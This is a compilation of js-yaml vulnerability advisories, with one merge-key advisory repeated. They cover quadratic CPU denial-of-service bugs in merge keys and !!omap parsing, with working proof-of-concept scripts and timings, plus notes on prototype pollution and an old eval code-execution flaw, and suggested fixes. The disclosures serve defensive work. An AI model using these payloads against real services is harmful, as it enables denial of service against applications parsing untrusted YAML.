Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

yaml a0: &a0 { k0: 0 } a1: &a1 { <<: a0, k1: 1 } a2: &a2 { <<: a1, k2: 2 } a3: &a3 { <<: a2, k3: 3 } ... b: aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

js import { performance } from 'node:perfhooks' import { Buffer } from 'node:buffer' import { load, YAML11SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) { lines.push(a${i}: &a${i} { <<: a${i - 1}, k${i}: ${i} }) }

lines.push(b: a${count - 1}) return ${lines.join('\n')}\n }

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(N: ${n}) console.log(YAML size: ${Buffer.byteLength(source)} bytes)

const started = performance.now() const result = load(source, { schema: YAML11SCHEMA }) const elapsed = performance.now() - started

console.log(parse time: ${elapsed.toFixed(1)} ms) console.log(top-level keys: ${Object.keys(result).length}) console.log(b keys: ${Object.keys(result.b).length})

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Summary js-yaml v5.x introduces YAML11SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11SCHEMA }.

Details In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525): js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => [], addItem: (container, item) => { // ... for (const existing of container) // O(n) per insertion! if (hasOwnProperty(existing, itemKeys[0])) return 'cannot resolve an ordered map item'; container.push(object); // n insertions → O(n^2) total return ''; } }); For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.

PoC (runtime-confirmed on v5.2.0) js const yaml = require('js-yaml'); function buildOmapPayload(n) { let p = '!!omap\n'; for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n'; return p; } // Timing results on v5.2.0: // n=1000: 9ms // n=5000: 73ms (5x n → 8x time) // n=10000: 255ms (2x n → 3.5x time — supralinear) // n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed) // n=50000: 10613ms ← blocks event loop for >10 seconds yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11SCHEMA });

Impact Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11SCHEMA export).

Fix Replace the O(n) linear scan in addItem with an O(1) Set-based lookup: js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => ({ list: [], seen: new Set() }), addItem: (state, item) => { const key = Object.keys(item)[0]; if (state.seen.has(key)) return 'duplicate omap key'; state.seen.add(key); state.list.push(item); return ''; }, resolve: (state) => state.list });

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

yaml a0: &a0 { k0: 0 } a1: &a1 { <<: a0, k1: 1 } a2: &a2 { <<: a1, k2: 2 } a3: &a3 { <<: a2, k3: 3 } ... b: aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

js import { performance } from 'node:perfhooks' import { Buffer } from 'node:buffer' import { load, YAML11SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) { lines.push(a${i}: &a${i} { <<: a${i - 1}, k${i}: ${i} }) }

lines.push(b: a${count - 1}) return ${lines.join('\n')}\n }

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(N: ${n}) console.log(YAML size: ${Buffer.byteLength(source)} bytes)

const started = performance.now() const result = load(source, { schema: YAML11SCHEMA }) const elapsed = performance.now() - started

console.log(parse time: ${elapsed.toFixed(1)} ms) console.log(top-level keys: ${Object.keys(result).length}) console.log(b keys: ${Object.keys(result.b).length})

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, which allows remote attackers to execute arbitrary code via a crafted string that triggers an eval operation.

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (proto). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/PrototypePollutionPreventionCheatSheet.html

Summary A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.

Details The issue is in merge handling inside lib/loader.js:

- storeMappingPair(...) iterates every element of a merge sequence when key tag is tag:yaml.org,2002:merge. - For each element, it calls mergeMappings(...). - mergeMappings(...) computes Object.keys(source) and performs hasOwnProperty.call(destination, key) checks for each key.

When input is of the form:

a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [a, a, a, ... repeated M times ...]} all a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...)

Root cause File: lib/loader.js Function: storeMappingPair(state, result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366

if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, result, valueNode[index], overridableKeys); } } else { mergeMappings(state, result, valueNode, overridableKeys); } }

When the merge value is a sequence (YAML 1.1 <<: [ a, a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does

sourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } }

Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs:

one Object.keys(source) call (O(K)) K hasOwnProperty.call checks on the destination

Total: M K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge.

YAML semantics for <<: are idempotent and commutative over duplicate sources, so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.

PoC Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [a, a, ...]. Measure parse time and compare with control payload using single merge (<<: a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.

Impact This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.

Suggested fix: Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics:

dedupe in storeMappingPair:

if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, result, src, overridableKeys); } } else { mergeMappings(state, result, valueNode, overridableKeys); } }